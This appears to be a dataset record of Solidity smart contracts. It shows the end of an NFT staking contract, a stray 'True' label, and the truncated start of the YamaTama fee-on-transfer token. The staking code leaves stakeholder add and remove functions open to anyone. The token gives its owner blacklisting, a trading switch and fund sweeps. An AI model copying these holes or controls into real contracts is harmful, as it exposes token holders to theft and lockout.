collections[_genNumber].erc721.balanceOf(_holder); else if (collections[_genNumber].nftType == E1155) for ( uint256 i = 1; i <= collections[_genNumber].erc1155.maxSupply(); i++ ) { nftBalance += collections[_genNumber].erc1155.balanceOf( _holder, i ); } return nftBalance; } /* * @dev get staked tokens for a set generation for a holder * @param _genNumber NFT collection generation * @param _holder holder address */ function getStakedTokens(uint256 _genNumber, address _holder) public view returns (uint256[] memory tokens) { return stakes[_holder].tokensByGen[_genNumber]; } /* * @dev update holder balance of NFTs * @param _genNumber NFT collection generation * @param _staker holder address * @param _tokenIds tokens staked by current address */ function updateBalance( address _staker, uint256[] memory _tokenIds, uint256 _genNumber ) internal { uint256 stakingPoolSize = stakes[_staker] .tokensByGen[_genNumber] .length; uint256 tokenSize = stakingPoolSize + _tokenIds.length; uint256[] memory tokens = new uint256[](tokenSize); for (uint256 i = 0; i < stakingPoolSize; i++) tokens[i] = stakes[_staker].tokensByGen[_genNumber][i]; uint256 j = 0; for (uint256 i = stakingPoolSize; i < tokenSize; i++) { tokens[i] = _tokenIds[j]; j++; } stakes[_staker].tokensByGen[_genNumber] = tokens; } /** * @notice A method to check if an address is a stakeholder. * @param _address The address to verify. * @return bool, uint256 Whether the address is a stakeholder, * and if so its position in the stakeholders array. */ function isStakeholder(address _address) public view returns (bool, uint256) { for (uint256 s = 0; s < stakeholders.length; s += 1) { if (_address == stakeholders[s]) return (true, s); } return (false, 0); } /** * @notice A method to add a stakeholder. * @param _stakeholder The stakeholder to add. */ function addStakeholder(address _stakeholder) public { (bool _isStakeholder, ) = isStakeholder(_stakeholder); if (!_isStakeholder) stakeholders.push(_stakeholder); } /** * @notice A method to remove a stakeholder. * @param _stakeholder The stakeholder to remove. */ function removeStakeholder(address _stakeholder) public { (bool _isStakeholder, uint256 s) = isStakeholder(_stakeholder); if (_isStakeholder) { stakeholders[s] = stakeholders[stakeholders.length - 1]; stakeholders.pop(); } } /** * @notice A method to the aggregated stakes from all stakeholders. * @return uint256 The aggregated stakes from all stakeholders. */ function totalStakes(uint256 _genNumber) public view returns (uint256) { uint256 _totalStakes = 0; for (uint256 s = 0; s < stakeholders.length; s += 1) { _totalStakes = _totalStakes.add( stakes[stakeholders[s]].tokensByGen[_genNumber].length ); } return _totalStakes; } /** * @notice A method for a stakeholder to create a stake. */ function createStake(uint256 _genNumber, uint256[] memory _tokenIds) public isNFTHolder(_genNumber) { uint256[] memory _amount = new uint256[](_tokenIds.length); bytes memory _data = ""; if (collections[_genNumber].nftType == E1155) { for (uint256 i = 0; i < _tokenIds.length; i++) _amount[i] = 1; collections[_genNumber].erc1155.safeBatchTransferFrom( msg.sender, address(this), _tokenIds, _amount, _data ); } else if (collections[_genNumber].nftType == E721) { for (uint256 i = 0; i < _tokenIds.length; i++) collections[_genNumber].erc721.safeTransferFrom( msg.sender, address(this), _tokenIds[i] ); } updateBalance(msg.sender, _tokenIds, _genNumber); (bool isHolder, ) = isStakeholder(msg.sender); if (isHolder == false) addStakeholder(msg.sender); } /** * @notice A method for a stakeholder to remove a stake. * @param _genNumber generation number */ function removeStakeByGen(uint256 _genNumber) public { if (stakesTimeLock[_genNumber][msg.sender] == 0) { stakesTimeLock[_genNumber][msg.sender] = block.timestamp + _TIMELOCK; } else { require( stakesTimeLock[_genNumber][msg.sender] <= block.timestamp, "Staking is Currently Locked, Please Unstake and Try Again" ); if (collections[_genNumber].nftType == E1155) { bytes memory _data = ""; uint256[] memory _amount = new uint256[]( stakes[msg.sender].tokensByGen[_genNumber].length ); for ( uint256 j = 0; j < stakes[msg.sender].tokensByGen[_genNumber].length; j++ ) _amount[j] = 1; collections[_genNumber].erc1155.safeBatchTransferFrom( address(this), msg.sender, stakes[msg.sender].tokensByGen[_genNumber], _amount, _data ); } else { for ( uint256 i = 0; i < stakes[msg.sender].tokensByGen[_genNumber].length; i++ ) collections[_genNumber].erc721.transferFrom( address(this), msg.sender, stakes[msg.sender].tokensByGen[_genNumber][i] ); } delete stakes[msg.sender].tokensByGen[_genNumber]; if (calculateReward(msg.sender) == 0) removeStakeholder(msg.sender); delete stakesTimeLock[_genNumber][msg.sender]; } } /** * @notice A method to allow a stakeholder to check his rewards. * @param _stakeholder The stakeholder to check rewards for. */ function rewardOf(address _stakeholder) public view returns (uint256) { return rewards[_stakeholder]; } /** * @notice A method to the aggregated rewards from all stakeholders. * @return uint256 The aggregated rewards from all stakeholders. */ function totalRewards() public view returns (uint256) { uint256 _totalRewards = 0; for (uint256 s = 0; s < stakeholders.length; s += 1) { _totalRewards = _totalRewards.add(rewards[stakeholders[s]]); } return _totalRewards; } /** * @notice A simple method that calculates the rewards for each stakeholder. * @param _stakeholder The stakeholder to calculate rewards for. */ function calculateReward(address _stakeholder) public view returns (uint256) { uint256 reward = 0; for (uint256 i = 0; i < nbOfCollections; i++) { if (stakesTimeLock[i + 1][_stakeholder] == 0) reward += stakes[_stakeholder].tokensByGen[i + 1].length * rewardRates[i + 1]; } return (reward * getRewardsMultiplier(_stakeholder)) / 100; } /** * @notice A method to distribute rewards to all stakeholders. */ function distributeRewards() public onlyOwner { for (uint256 s = 0; s < stakeholders.length; s += 1) { address stakeholder = stakeholders[s]; uint256 reward = calculateReward(stakeholder); rewards[stakeholder] = rewards[stakeholder].add(reward); } } /** * @notice A method to allow a stakeholder to withdraw his rewards. */ function withdrawReward() public { uint256 reward = rewards[msg.sender]; rewards[msg.sender] = 0; require(reward + totalSupply() <= maximumSupply,"Max supply reached"); _mint(msg.sender, reward); } /** * @notice burn tokens */ function burn(address _wallet, uint _amount) public onlyOwner{ _burn(_wallet, _amount); } function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual returns (bytes4) { return this.onERC1155BatchReceived.selector; } function onERC721Received( address, address, uint256, bytes memory ) public virtual returns (bytes4) { return this.onERC721Received.selector; } }
True
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/** *Submitted for verification at Etherscan.io on 2022-02-09 */ // Welcome to YamaTama // Telegram : https://t.me/YamaTamaETH // Website: https://YamaTama.io/ // WP : https://YamaTama.io/Yamapaper.pdf // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract YamaTama is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "YamaTama"; string private _symbol = "YAMATAMA"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 14; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 20000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 10000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 1000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 10000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function setBotWallets(address[] calldata botwallet) external onlyOwner() { for (uint256 i; i < botwallet.length; ++i) { botWallets[botwallet[i]] = true; } } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity 